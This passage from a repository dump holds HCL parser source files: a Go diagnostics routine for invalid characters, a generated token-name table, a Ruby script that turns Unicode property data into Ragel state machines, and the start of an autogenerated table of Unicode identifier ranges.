&hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid character\",\n                    Detail:   \"The \\\"`\\\" character is not valid. To create a multi-line string, use the \\\"heredoc\\\" syntax, like \\\"<<EOT\\\".\",\n                    Subject:  &tok.Range,\n                })\n            }\n            if toldBacktick <= 2 {\n                toldBacktick++\n            }\n        case TokenApostrophe:\n            if (toldApostrophe % 2) == 0 {\n                newDiag := &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid character\",\n                    Detail:   \"Single quotes are not valid. Use double quotes (\\\") to enclose strings.\",\n                    Subject:  &tok.Range,\n                }\n                diags = append(diags, newDiag)\n            }\n            if toldApostrophe <= 2 {\n                toldApostrophe++\n            }\n        case TokenSemicolon:\n            if toldSemicolon < 1 {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid character\",\n                    Detail:   \"The \\\";\\\" character is not valid. Use newlines to separate arguments and blocks, and commas to separate items in collection values.\",\n                    Subject:  &tok.Range,\n                })\n\n                toldSemicolon++\n            }\n        case TokenTabs:\n            if toldTabs < 1 {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid character\",\n                    Detail:   \"Tab characters may not be used. The recommended indentation style is two spaces per indent.\",\n                    Subject:  &tok.Range,\n                })\n\n                toldTabs++\n            }\n        case TokenBadUTF8:\n            if toldBadUTF8 < 1 {\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid character encoding\",\n                    Detail:   \"All input files must be UTF-8 encoded. Ensure that UTF-8 encoding is selected in your editor.\",\n                    Subject:  &tok.Range,\n                })\n\n                toldBadUTF8++\n            }\n        case TokenQuotedNewline:\n            diags = append(diags, &hcl.Diagnostic{\n                Severity: hcl.DiagError,\n                Summary:  \"Invalid multi-line string\",\n                Detail:   \"Quoted strings may not be split over multiple lines. To produce a multi-line string, either use the \\\\n escape to represent a newline character or use the \\\"heredoc\\\" multi-line template syntax.\",\n                Subject:  &tok.Range,\n            })\n        case TokenInvalid:\n            chars := string(tok.Bytes)\n            switch chars {\n            case \"“\", \"”\":\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid character\",\n                    Detail:   \"\\\"Curly quotes\\\" are not valid here. These can sometimes be inadvertently introduced when sharing code via documents or discussion forums. It might help to replace the character with a \\\"straight quote\\\".\",\n                    Subject:  &tok.Range,\n                })\n            default:\n                diags = append(diags, &hcl.Diagnostic{\n                    Severity: hcl.DiagError,\n                    Summary:  \"Invalid character\",\n                    Detail:   \"This character is not used within the language.\",\n                    Subject:  &tok.Range,\n                })\n            }\n        }\n    }\n    return diags\n}\n\nvar utf8BOM = []byte{0xef, 0xbb, 0xbf}\n\n// stripUTF8BOM checks whether the given buffer begins with a UTF-8 byte order\n// mark (0xEF 0xBB 0xBF) and, if so, returns a truncated slice with the same\n// backing array but with the BOM skipped.\n//\n// If there is no BOM present, the given slice is returned verbatim.\nfunc stripUTF8BOM(src []byte) []byte {\n    if bytes.HasPrefix(src, utf8BOM) {\n        return src[3:]\n    }\n    return src\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/token_type_string.go",
    "content": "// Code generated by \"stringer -type TokenType -output token_type_string.go\"; DO NOT EDIT.\n\npackage hclsyntax\n\nimport \"strconv\"\n\nfunc _() {\n\t// An \"invalid array index\" compiler error signifies that the constant values have changed.\n\t// Re-run the stringer command to generate them again.\n\tvar x [1]struct{}\n\t_ = x[TokenOBrace-123]\n\t_ = x[TokenCBrace-125]\n\t_ = x[TokenOBrack-91]\n\t_ = x[TokenCBrack-93]\n\t_ = x[TokenOParen-40]\n\t_ = x[TokenCParen-41]\n\t_ = x[TokenOQuote-171]\n\t_ = x[TokenCQuote-187]\n\t_ = x[TokenOHeredoc-72]\n\t_ = x[TokenCHeredoc-104]\n\t_ = x[TokenStar-42]\n\t_ = x[TokenSlash-47]\n\t_ = x[TokenPlus-43]\n\t_ = x[TokenMinus-45]\n\t_ = x[TokenPercent-37]\n\t_ = x[TokenEqual-61]\n\t_ = x[TokenEqualOp-8788]\n\t_ = x[TokenNotEqual-8800]\n\t_ = x[TokenLessThan-60]\n\t_ = x[TokenLessThanEq-8804]\n\t_ = x[TokenGreaterThan-62]\n\t_ = x[TokenGreaterThanEq-8805]\n\t_ = x[TokenAnd-8743]\n\t_ = x[TokenOr-8744]\n\t_ = x[TokenBang-33]\n\t_ = x[TokenDot-46]\n\t_ = x[TokenComma-44]\n\t_ = x[TokenEllipsis-8230]\n\t_ = x[TokenFatArrow-8658]\n\t_ = x[TokenQuestion-63]\n\t_ = x[TokenColon-58]\n\t_ = x[TokenTemplateInterp-8747]\n\t_ = x[TokenTemplateControl-955]\n\t_ = x[TokenTemplateSeqEnd-8718]\n\t_ = x[TokenQuotedLit-81]\n\t_ = x[TokenStringLit-83]\n\t_ = x[TokenNumberLit-78]\n\t_ = x[TokenIdent-73]\n\t_ = x[TokenComment-67]\n\t_ = x[TokenNewline-10]\n\t_ = x[TokenEOF-9220]\n\t_ = x[TokenBitwiseAnd-38]\n\t_ = x[TokenBitwiseOr-124]\n\t_ = x[TokenBitwiseNot-126]\n\t_ = x[TokenBitwiseXor-94]\n\t_ = x[TokenStarStar-10138]\n\t_ = x[TokenApostrophe-39]\n\t_ = x[TokenBacktick-96]\n\t_ = x[TokenSemicolon-59]\n\t_ = x[TokenTabs-9225]\n\t_ = x[TokenInvalid-65533]\n\t_ = x[TokenBadUTF8-128169]\n\t_ = x[TokenQuotedNewline-9252]\n\t_ = x[TokenNil-0]\n}\n\nconst _TokenType_name = \"TokenNilTokenNewlineTokenBangTokenPercentTokenBitwiseAndTokenApostropheTokenOParenTokenCParenTokenStarTokenPlusTokenCommaTokenMinusTokenDotTokenSlashTokenColonTokenSemicolonTokenLessThanTokenEqualTokenGreaterThanTokenQuestionTokenCommentTokenOHeredocTokenIdentTokenNumberLitTokenQuotedLitTokenStringLitTokenOBrackTokenCBrackTokenBitwiseXorTokenBacktickTokenCHeredocTokenOBraceTokenBitwiseOrTokenCBraceTokenBitwiseNotTokenOQuoteTokenCQuoteTokenTemplateControlTokenEllipsisTokenFatArrowTokenTemplateSeqEndTokenAndTokenOrTokenTemplateInterpTokenEqualOpTokenNotEqualTokenLessThanEqTokenGreaterThanEqTokenEOFTokenTabsTokenQuotedNewlineTokenStarStarTokenInvalidTokenBadUTF8\"\n\nvar _TokenType_map = map[TokenType]string{\n\t0:      _TokenType_name[0:8],\n\t10:     _TokenType_name[8:20],\n\t33:     _TokenType_name[20:29],\n\t37:     _TokenType_name[29:41],\n\t38:     _TokenType_name[41:56],\n\t39:     _TokenType_name[56:71],\n\t40:     _TokenType_name[71:82],\n\t41:     _TokenType_name[82:93],\n\t42:     _TokenType_name[93:102],\n\t43:     _TokenType_name[102:111],\n\t44:     _TokenType_name[111:121],\n\t45:     _TokenType_name[121:131],\n\t46:     _TokenType_name[131:139],\n\t47:     _TokenType_name[139:149],\n\t58:     _TokenType_name[149:159],\n\t59:     _TokenType_name[159:173],\n\t60:     _TokenType_name[173:186],\n\t61:     _TokenType_name[186:196],\n\t62:     _TokenType_name[196:212],\n\t63:     _TokenType_name[212:225],\n\t67:     _TokenType_name[225:237],\n\t72:     _TokenType_name[237:250],\n\t73:     _TokenType_name[250:260],\n\t78:     _TokenType_name[260:274],\n\t81:     _TokenType_name[274:288],\n\t83:     _TokenType_name[288:302],\n\t91:     _TokenType_name[302:313],\n\t93:     _TokenType_name[313:324],\n\t94:     _TokenType_name[324:339],\n\t96:     _TokenType_name[339:352],\n\t104:    _TokenType_name[352:365],\n\t123:    _TokenType_name[365:376],\n\t124:    _TokenType_name[376:390],\n\t125:    _TokenType_name[390:401],\n\t126:    _TokenType_name[401:416],\n\t171:    _TokenType_name[416:427],\n\t187:    _TokenType_name[427:438],\n\t955:    _TokenType_name[438:458],\n\t8230:   _TokenType_name[458:471],\n\t8658:   _TokenType_name[471:484],\n\t8718:   _TokenType_name[484:503],\n\t8743:   _TokenType_name[503:511],\n\t8744:   _TokenType_name[511:518],\n\t8747:   _TokenType_name[518:537],\n\t8788:   _TokenType_name[537:549],\n\t8800:   _TokenType_name[549:562],\n\t8804:   _TokenType_name[562:577],\n\t8805:   _TokenType_name[577:595],\n\t9220:   _TokenType_name[595:603],\n\t9225:   _TokenType_name[603:612],\n\t9252:   _TokenType_name[612:630],\n\t10138:  _TokenType_name[630:643],\n\t65533:  _TokenType_name[643:655],\n\t128169: _TokenType_name[655:667],\n}\n\nfunc (i TokenType) String() string {\n\tif str, ok := _TokenType_map[i]; ok {\n\t\treturn str\n\t}\n\treturn \"TokenType(\" + strconv.FormatInt(int64(i), 10) + \")\"\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/unicode2ragel.rb",
    "content": "#!/usr/bin/env ruby\n#\n# This scripted has been updated to accept more command-line arguments:\n#\n#    -u, --url                        URL to process\n#    -m, --machine                    Machine name\n#    -p, --properties                 Properties to add to the machine\n#    -o, --output                     Write output to file\n#\n# Updated by: Marty Schoch <marty.schoch@gmail.com>\n# \n# This script uses the unicode spec to generate a Ragel state machine\n# that recognizes unicode alphanumeric characters.  It generates 5\n# character classes: uupper, ulower, ualpha, udigit, and ualnum.\n# Currently supported encodings are UTF-8 [default] and UCS-4.\n#\n# Usage: unicode2ragel.rb [options]\n#    -e, --encoding [ucs4 | utf8]     Data encoding\n#    -h, --help                       Show this message\n#\n# This script was originally written as part of the Ferret search\n# engine library.\n#\n# Author: Rakan El-Khalil <rakan@well.com>\n\nrequire 'optparse'\nrequire 'open-uri'\n\nENCODINGS = [ :utf8, :ucs4 ]\nALPHTYPES = { :utf8 => \"byte\", :ucs4 => \"rune\" }\nDEFAULT_CHART_URL = \"http://www.unicode.org/Public/5.1.0/ucd/DerivedCoreProperties.txt\"\nDEFAULT_MACHINE_NAME= \"WChar\"\n\n###\n# Display vars & default option\n\nTOTAL_WIDTH = 80\nRANGE_WIDTH = 23\n@encoding = :utf8\n@chart_url = DEFAULT_CHART_URL\nmachine_name = DEFAULT_MACHINE_NAME\nproperties = []\n@output = $stdout\n\n###\n# Option parsing\n\ncli_opts = OptionParser.new do |opts|\n  opts.on(\"-e\", \"--encoding [ucs4 | utf8]\", \"Data encoding\") do |o|\n    @encoding = o.downcase.to_sym\n  end\n  opts.on(\"-h\", \"--help\", \"Show this message\") do\n    puts opts\n    exit\n  end\n  opts.on(\"-u\", \"--url URL\", \"URL to process\") do |o|\n    @chart_url = o \n  end\n  opts.on(\"-m\", \"--machine MACHINE_NAME\", \"Machine name\") do |o|\n    machine_name = o\n  end\n  opts.on(\"-p\", \"--properties x,y,z\", Array, \"Properties to add to machine\") do |o|\n    properties = o\n  end\n  opts.on(\"-o\", \"--output FILE\", \"output file\") do |o|\n    @output = File.new(o, \"w+\")\n  end\nend\n\ncli_opts.parse(ARGV)\nunless ENCODINGS.member? @encoding\n  puts \"Invalid encoding: #{@encoding}\"\n  puts cli_opts\n  exit\nend\n\n##\n# Downloads the document at url and yields every alpha line's hex\n# range and description.\n\ndef each_alpha( url, property ) \n  open( url ) do |file|\n    file.each_line do |line|\n      next if line =~ /^#/;\n      next if line !~ /; #{property} #/;\n\n      range, description = line.split(/;/)\n      range.strip!\n      description.gsub!(/.*#/, '').strip!\n\n      if range =~ /\\.\\./\n           start, stop = range.split '..'\n      else start = stop = range\n      end\n\n      yield start.hex .. stop.hex, description\n    end\n  end\nend\n\n###\n# Formats to hex at minimum width\n\ndef to_hex( n )\n  r = \"%0X\" % n\n  r = \"0#{r}\" unless (r.length % 2).zero?\n  r\nend\n\n###\n# UCS4 is just a straight hex conversion of the unicode codepoint.\n\ndef to_ucs4( range )\n  rangestr  =   \"0x\" + to_hex(range.begin)\n  rangestr << \"..0x\" + to_hex(range.end) if range.begin != range.end\n  [ rangestr ]\nend\n\n##\n# 0x00     - 0x7f     -> 0zzzzzzz[7]\n# 0x80     - 0x7ff    -> 110yyyyy[5] 10zzzzzz[6]\n# 0x800    - 0xffff   -> 1110xxxx[4] 10yyyyyy[6] 10zzzzzz[6]\n# 0x010000 - 0x10ffff -> 11110www[3] 10xxxxxx[6] 10yyyyyy[6] 10zzzzzz[6] \n\nUTF8_BOUNDARIES = [0x7f, 0x7ff, 0xffff, 0x10ffff]\n\ndef to_utf8_enc( n )\n  r = 0\n  if n <= 0x7f\n    r = n\n  elsif n <= 0x7ff\n    y = 0xc0 | (n >> 6)\n    z = 0x80 | (n & 0x3f)\n    r = y << 8 | z\n  elsif n <= 0xffff\n    x = 0xe0 | (n >> 12)\n    y = 0x80 | (n >>  6) & 0x3f\n    z = 0x80 |  n        & 0x3f\n    r = x << 16 | y << 8 | z\n  elsif n <= 0x10ffff\n    w = 0xf0 | (n >> 18)\n    x = 0x80 | (n >> 12) & 0x3f\n    y = 0x80 | (n >>  6) & 0x3f\n    z = 0x80 |  n        & 0x3f\n    r = w << 24 | x << 16 | y << 8 | z\n  end\n\n  to_hex(r)\nend\n\ndef from_utf8_enc( n )\n  n = n.hex\n  r = 0\n  if n <= 0x7f\n    r = n\n  elsif n <= 0xdfff\n    y = (n >> 8) & 0x1f\n    z =  n       & 0x3f\n    r = y << 6 | z\n  elsif n <= 0xefffff\n    x = (n >> 16) & 0x0f\n    y = (n >>  8) & 0x3f\n    z =  n        & 0x3f\n    r = x << 10 | y << 6 | z\n  elsif n <= 0xf7ffffff\n    w = (n >> 24) & 0x07\n    x = (n >> 16) & 0x3f\n    y = (n >>  8) & 0x3f\n    z =  n        & 0x3f\n    r = w << 18 | x << 12 | y << 6 | z\n  end\n  r\nend\n\n###\n# Given a range, splits it up into ranges that can be continuously\n# encoded into utf8.  Eg: 0x00 .. 0xff => [0x00..0x7f, 0x80..0xff]\n# This is not strictly needed since the current [5.1] unicode standard\n# doesn't have ranges that straddle utf8 boundaries.  This is included\n# for completeness as there is no telling if that will ever change.\n\ndef utf8_ranges( range )\n  ranges = []\n  UTF8_BOUNDARIES.each do |max|\n    if range.begin <= max\n      if range.end <= max\n        ranges << range\n        return ranges\n      end\n\n      ranges << (range.begin .. max)\n      range = (max + 1) .. range.end\n    end\n  end\n  ranges\nend\n\ndef build_range( start, stop )\n  size = start.size/2\n  left = size - 1\n  return [\"\"] if size < 1\n\n  a = start[0..1]\n  b = stop[0..1]\n\n  ###\n  # Shared prefix\n\n  if a == b\n    return build_range(start[2..-1], stop[2..-1]).map do |elt|\n      \"0x#{a} \" + elt\n    end\n  end\n\n  ###\n  # Unshared prefix, end of run\n\n  return [\"0x#{a}..0x#{b} \"] if left.zero?\n  \n  ###\n  # Unshared prefix, not end of run\n  # Range can be 0x123456..0x56789A\n  # Which is equivalent to:\n  #     0x123456 .. 0x12FFFF\n  #     0x130000 .. 0x55FFFF\n  #     0x560000 .. 0x56789A\n\n  ret = []\n  ret << build_range(start, a + \"FF\" * left)\n\n  ###\n  # Only generate middle range if need be.\n\n  if a.hex+1 != b.hex\n    max = to_hex(b.hex - 1)\n    max = \"FF\" if b == \"FF\"\n    ret << \"0x#{to_hex(a.hex+1)}..0x#{max} \" + \"0x00..0xFF \" * left\n  end\n\n  ###\n  # Don't generate last range if it is covered by first range\n  \n  ret << build_range(b + \"00\" * left, stop) unless b == \"FF\"\n  ret.flatten!\nend\n\ndef to_utf8( range )\n  utf8_ranges( range ).map do |r|   \n    begin_enc = to_utf8_enc(r.begin)\n    end_enc = to_utf8_enc(r.end)\n    build_range begin_enc, end_enc\n  end.flatten!\nend\n\n##\n# Perform a 3-way comparison of the number of codepoints advertised by\n# the unicode spec for the given range, the originally parsed range,\n# and the resulting utf8 encoded range.\n\ndef count_codepoints( code )\n  code.split(' ').inject(1) do |acc, elt|\n    if elt =~ /0x(.+)\\.\\.0x(.+)/\n      if @encoding == :utf8\n        acc * (from_utf8_enc($2) - from_utf8_enc($1) + 1)\n      else\n        acc * ($2.hex - $1.hex + 1)\n      end\n    else\n      acc\n    end\n  end\nend\n\ndef is_valid?( range, desc, codes )\n  spec_count  = 1\n  spec_count  = $1.to_i if desc =~ /\\[(\\d+)\\]/\n  range_count = range.end - range.begin + 1\n\n  sum = codes.inject(0) { |acc, elt| acc + count_codepoints(elt) }\n  sum == spec_count and sum == range_count\nend\n\n##\n# Generate the state matching to stdout\n\ndef generate_machine( name, property )\n  pipe = \" \"\n  @output.puts \"    #{name} = \"\n  each_alpha( @chart_url, property ) do |range, desc|\n\n    codes = (@encoding == :ucs4) ? to_ucs4(range) : to_utf8(range)\n\n    #raise \"Invalid encoding of range #{range}: #{codes.inspect}\" unless \n    #  is_valid? range, desc, codes\n\n    range_width = codes.map { |a| a.size }.max\n    range_width = RANGE_WIDTH if range_width < RANGE_WIDTH\n\n    desc_width  = TOTAL_WIDTH - RANGE_WIDTH - 11\n    desc_width -= (range_width - RANGE_WIDTH) if range_width > RANGE_WIDTH\n\n    if desc.size > desc_width\n      desc = desc[0..desc_width - 4] + \"...\"\n    end\n\n    codes.each_with_index do |r, idx|\n      desc = \"\" unless idx.zero?\n      code = \"%-#{range_width}s\" % r\n      @output.puts \"      #{pipe} #{code} ##{desc}\"\n      pipe = \"|\"\n    end\n  end\n  @output.puts \"      ;\"\n  @output.puts \"\"\nend\n\n@output.puts <<EOF\n# The following Ragel file was autogenerated with #{$0} \n# from: #{@chart_url}\n#\n# It defines #{properties}.\n#\n# To use this, make sure that your alphtype is set to #{ALPHTYPES[@encoding]},\n# and that your input is in #{@encoding}.\n\n%%{\n    machine #{machine_name};\n    \nEOF\n\nproperties.each { |x| generate_machine( x, x ) }\n\n@output.puts <<EOF\n}%%\nEOF\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hclsyntax/unicode_derived.rl",
    "content": "# The following Ragel file was autogenerated with unicode2ragel.rb \n# from: http://www.unicode.org/Public/9.0.0/ucd/DerivedCoreProperties.txt\n#\n# It defines [\"ID_Start\", \"ID_Continue\"].\n#\n# To use this, make sure that your alphtype is set to byte,\n# and that your input is in utf8.\n\n%%{\n    machine UnicodeDerived;\n    \n    ID_Start = \n        0x41..0x5A              #L&  [26] LATIN CAPITAL LETTER A..LATIN CAPI...\n      | 0x61..0x7A              #L&  [26] LATIN SMALL LETTER A..LATIN SMALL ...\n      | 0xC2 0xAA               #Lo       FEMININE ORDINAL INDICATOR\n      | 0xC2 0xB5               #L&       MICRO SIGN\n      | 0xC2 0xBA               #Lo       MASCULINE ORDINAL INDICATOR\n      | 0xC3 0x80..0x96         #L&  [23] LATIN CAPITAL LETTER A WITH GRAVE....\n      | 0xC3 0x98..0xB6         #L&  [31] LATIN CAPITAL LETTER O WITH STROKE...\n      | 0xC3 0xB8..0xFF         #L& [195] LATIN SMALL LETTER O WITH STROKE.....\n      | 0xC4..0xC5 0x00..0xFF   #\n      | 0xC6 0x00..0xBA         #\n      | 0xC6 0xBB               #Lo       LATIN LETTER TWO WITH STROKE\n      | 0xC6 0xBC..0xBF         #L&   [4] LATIN CAPITAL LETTER TONE FIVE..LA...\n      | 0xC7 0x80..0x83         #Lo   [4] LATIN LETTER DENTAL CLICK..LATIN L...\n      | 0xC7 0x84..0xFF         #L& [208] LATIN CAPITAL LETTER DZ WITH CARON...\n      | 0xC8..0xC9 0x00..0xFF   #\n      | 0xCA 0x00..0x93         #\n      | 0xCA 0x94               #Lo       LATIN LETTER GLOTTAL STOP\n      | 0xCA 0x95..0xAF         #L&  [27] LATIN LETTER PHARYNGEAL VOICED FRI...\n      | 0xCA 0xB0..0xFF         #Lm  [18] MODIFIER LETTER SMALL H..MODIFIER ...\n      | 0xCB 0x00..0x81         #\n      | 0xCB 0x86..0x91         #Lm  [12] MODIFIER LETTER CIRCUMFLEX ACCENT....\n      | 0xCB 0xA0..0xA4         #Lm   [5] MODIFIER LETTER SMALL GAMMA..MODIF...\n      | 0xCB 0xAC               #Lm       MODIFIER LETTER VOICING\n      | 0xCB 0xAE               #Lm       MODIFIER LETTER DOUBLE APOSTROPHE\n      | 0xCD 0xB0..0xB3         #L&   [4] GREEK CAPITAL LETTER HETA..GREEK S...\n      | 0xCD 0xB4               #Lm       GREEK NUMERAL SIGN\n      | 0xCD 0xB6..0xB7         #L&   [2] GREEK CAPITAL LETTER PAMPHYLIAN DI...\n      | 0xCD 0xBA               #Lm       GREEK YPOGEGRAMMENI\n      | 0xCD 0xBB..0xBD         #L&   [3] GREEK SMALL REVERSED LUNATE SIGMA ...\n      | 0xCD 0xBF               #L&       GREEK CAPITAL LETTER YOT\n      | 0xCE 0x86               #L&       GREEK CAPITAL LETTER ALPHA WITH TONOS\n      | 0xCE 0x88..0x8A         #L&   [3] GREEK CAPITAL LETTER EPSILON WITH ...\n      | 0xCE 0x8C               #L&       GREEK CAPITAL LETTER OMICRON WITH ...\n      | 0xCE 0x8E..0xA1         #L&  [20] GREEK CAPITAL LETTER UPSILON WITH ...\n      | 0xCE 0xA3..0xFF         #L&  [83] GREEK CAPITAL LETTER SIGMA..GREEK ...\n      | 0xCF 0x00..0xB5         #\n      | 0xCF 0xB7..0xFF         #L& [139] GREEK CAPITAL LETTER SHO..CYRILLIC...\n      | 0xD0..0xD1 0x00..0xFF   #\n      | 0xD2 0x00..0x81         #\n      | 0xD2 0x8A..0xFF         #L& [166] CYRILLIC CAPITAL LETTER SHORT I WI...\n      | 0xD3..0xD3 0x00..0xFF   #\n      | 0xD4 0x00..0xAF         #\n      | 0xD4 0xB1..0xFF         #L&  [38] ARMENIAN CAPITAL LETTER AYB..ARMEN...\n      | 0xD5 0x00..0x96         #\n      | 0xD5 0x99               #Lm       ARMENIAN MODIFIER LETTER LEFT HALF...\n      | 0xD5 0xA1..0xFF         #L&  [39] ARMENIAN SMALL LETTER AYB..ARMENIA...\n      | 0xD6 0x00..0x87         #\n      | 0xD7 0x90..0xAA         #Lo  [27] HEBREW LETTER ALEF..HEBREW LETTER TAV\n      | 0xD7 0xB0..0xB2         #Lo   [3] HEBREW LIGATURE YIDDISH DOUBLE VAV...\n      | 0xD8 0xA0..0xBF         #Lo  [32] ARABIC LETTER KASHMIRI YEH..ARABIC...\n      | 0xD9 0x80               #Lm       ARABIC TATWEEL\n      | 0xD9 0x81..0x8A         #Lo  [10] ARABIC LETTER FEH..ARABIC LETTER YEH\n      | 0xD9 0xAE..0xAF         #Lo   [2] ARABIC LETTER DOTLESS BEH..ARABIC ...\n      | 0xD9 0xB1..0xFF         #Lo  [99] ARABIC LETTER ALEF WASLA..ARABIC L...\n      | 0xDA..0xDA 0x00..0xFF   #\n      | 0xDB 0x00..0x93         #\n      | 0xDB 0x95               #Lo       ARABIC LETTER AE\n      | 0xDB 0xA5..0xA6         #Lm   [2] ARABIC SMALL WAW..ARABIC SMALL YEH\n      | 0xDB 0xAE..0xAF         #Lo   [2] ARABIC LETTER DAL WITH INVERTED V....\n      | 0xDB 0xBA..0xBC         #Lo   [3] ARABIC LETTER SHEEN WITH DOT BELOW...\n      | 0xDB 0xBF               #Lo       ARABIC LETTER HEH WITH INVERTED V\n      | 0xDC 0x90               #Lo       SYRIAC LETTER ALAPH\n      | 0xDC 0x92..0xAF         #Lo  [30] SYRIAC LETTER BETH..SYRIAC LETTER ...\n      | 0xDD 0x8D..0xFF         #Lo  [89] SYRIAC LETTER SOGDIAN ZHAIN..THAAN...\n      | 0xDE 0x00..0xA5         #\n      | 0xDE 0xB1               #Lo       THAANA LETTER NAA\n      | 0xDF 0x8A..0xAA         #Lo  [33] NKO LETTER A..NKO LETTER JONA RA\n      | 0xDF 0xB4..0xB5         #Lm   [2] NKO HIGH TONE APOSTROPHE..NKO LOW ...\n      | 0xDF 0xBA               #Lm       NKO LAJANYALAN\n      | 0xE0 0xA0 0x80..0x95    #Lo  [22] SAMARITAN LETTER ALAF..SAMARITAN L...\n      | 0xE0 0xA0 0x9A          #Lm       SAMARITAN MODIFIER LETTER EPENTHET...\n      | 0xE0 0xA0 0xA4          #Lm       SAMARITAN MODIFIER LETTER SHORT A\n      | 0xE0 0xA0 0xA8          #Lm       SAMARITAN MODIFIER LETTER I\n      | 0xE0 0xA1 0x80..0x98    #Lo  [25] MANDAIC LETTER HALQA..MANDAIC LETT...\n      | 0xE0 0xA2 0xA0..0xB4    #Lo  [21] ARABIC LETTER BEH WITH SMALL V BEL...\n      | 0xE0 0xA2 0xB6..0xBD    #Lo   [8] ARABIC LETTER BEH WITH SMALL MEEM ...\n      | 0xE0 0xA4 0x84..0xB9    #Lo  [54] DEVANAGARI LETTER SHORT A..DEVANAG...\n      | 0xE0 0xA4 0xBD          #Lo       DEVANAGARI SIGN AVAGRAHA\n      | 0xE0 0xA5 0x90          #Lo       DEVANAGARI OM\n      | 0xE0 0xA5 0x98..0xA1    #Lo  [10] DEVANAGARI LETTER QA..DEVANAGARI L...\n      | 0xE0 0xA5 0xB1          #Lm       DEVANAGARI SIGN HIGH SPACING DOT\n      | 0xE0 0xA5 0xB2..0xFF    #Lo  [15] DEVANAGARI LETTER CANDRA A..BENGAL...\n      | 0xE0 0xA6 0x00..0x80    #\n      | 0xE0 0xA6 0x85..0x8C    #Lo   [8] BENGALI LETTER A..BENGALI LETTER V...\n      | 0xE0 0xA6 0x8F..0x90    #Lo   [2] BENGALI LETTER E..BENGALI LETTER AI\n      | 0xE0 0xA6 0x93..0xA8    #Lo  [22] BENGALI LETTER O..BENGALI LETTER NA\n      | 0xE0 0xA6 0xAA..0xB0    #Lo   [7] BENGALI LETTER PA..BENGALI LETTER RA\n      | 0xE0 0xA6 0xB2          #Lo       BENGALI LETTER LA\n      | 0xE0 0xA6 0xB6..0xB9    #Lo   [4] BENGALI LETTER SHA..BENGALI LETTER HA\n      | 0xE0 0xA6 0xBD          #Lo       BENGALI SIGN AVAGRAHA\n      | 0xE0 0xA7 0x8E          #Lo       BENGALI LETTER KHANDA TA\n      | 0xE0 0xA7 0x9C..0x9D    #Lo   [2] BENGALI LETTER RRA..BENGALI LETTER...\n      | 0xE0 0xA7 0x9F..0xA1    #Lo   [3] BENGALI LETTER YYA..BENGALI LETTER...\n      | 0xE0 0xA7 0xB0..0xB1    #Lo   [2] BENGALI LETTER RA WITH MIDDLE DIAG...\n      | 0xE0 0xA8 0x85..0x8A    #Lo   [6] GURMUKHI LETTER A..GURMUKHI LETTER UU\n      | 0xE0 0xA8 0x8F..0x90    #Lo   [2] GURMUKHI LETTER EE..GURMUKHI LETTE...\n      | 0xE0 0xA8 0x93..0xA8    #Lo  [22] GURMUKHI LETTER OO..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xAA..0xB0    #Lo   [7] GURMUKHI LETTER PA..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xB2..0xB3    #Lo   [2] GURMUKHI LETTER LA..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xB5..0xB6    #Lo   [2] GURMUKHI LETTER VA..GURMUKHI LETTE...\n      | 0xE0 0xA8 0xB8..0xB9    #Lo   [2] GURMUKHI LETTER SA..GURMUKHI LETTE...\n      | 0xE0 0xA9 0x99..0x9C    #Lo   [4] GURMUKHI LETTER KHHA..GURMUKHI LET...\n      | 0xE0 0xA9 0x9E          #Lo       GURMUKHI LETTER FA\n      | 0xE0 0xA9 0xB2..0xB4    #Lo   [3] GURMUKHI IRI..GURMUKHI EK ONKAR\n      | 0xE0 0xAA 0x85..0x8D    #Lo   [9] GUJARATI LETTER A..GUJARATI VOWEL ...\n      | 0xE0 0xAA 0x8F..0x91    #Lo   [3] GUJARATI LETTER E..GUJARATI VOWEL ...\n      | 0xE0 0xAA 0x93..0xA8    #Lo  [22] GUJARATI LETTER O..GUJARATI LETTER NA\n      | 0xE0 0xAA 0xAA..0xB0    #Lo   [7] GUJARATI LETTER PA..GUJARATI LETTE...\n      | 0xE0 0xAA 0xB2..0xB3    #Lo   [2] GUJARATI LETTER LA..GUJARATI LETTE...\n      | 0xE0 0xAA 0xB5..0xB9    #Lo   [5] GUJARATI LETTER VA..GUJARATI LETTE...\n      | 0xE0 0xAA 0xBD          #Lo       GUJARATI SIGN AVAGRAHA\n      | 0xE0 0xAB 0x90          #Lo       GUJARATI OM\n      | 0xE0 0xAB 0xA0..0xA1    #Lo   [2] GUJARATI LETTER VOCALIC RR..GUJARA...\n      | 0xE0 0xAB 0xB9          #Lo       GUJARATI LETTER ZHA\n      | 0xE0 0xAC 0x85..0x8C    #Lo   [8] ORIYA LETTER A..ORIYA LETTER VOCAL...\n      | 0xE0 0xAC 0x8F..0x90    #Lo   [2] ORIYA LETTER E..ORIYA LETTER AI\n      | 0xE0 0xAC 0x93..0xA8    #Lo  [22] ORIYA LETTER O..ORIYA LETTER NA\n      | 0xE0 0xAC 0xAA..0xB0    #Lo   [7] ORIYA LETTER PA..ORIYA LETTER RA\n      | 0xE0 0xAC 0xB2..0xB3    #Lo   [2] ORIYA LETTER LA..ORIYA LETTER LLA\n      | 0xE0 0xAC 0xB5..0xB9    #Lo   [5] ORIYA LETTER VA..ORIYA LETTER HA\n      | 0xE0 0xAC 0xBD          #Lo       ORIYA SIGN AVAGRAHA\n      | 0xE0 0xAD 0x9C..0x9D    #Lo   [2] ORIYA LETTER RRA..ORIYA LETTER RHA\n      | 0xE0 0xAD 0x9F..0xA1    #Lo   [3] ORIYA LETTER YYA..ORIYA LETTER VOC...\n      | 0xE0 0xAD 0xB1          #Lo       ORIYA LETTER WA\n      | 0xE0 0xAE 0x83          #Lo       TAMIL SIGN VISARGA\n      | 0xE0 0xAE 0x85..0x8A    #Lo   [6] TAMIL LETTER A..TAMIL LETTER UU\n      | 0xE0 0xAE 0x8E..0x90    #Lo   [3] TAMIL LETTER 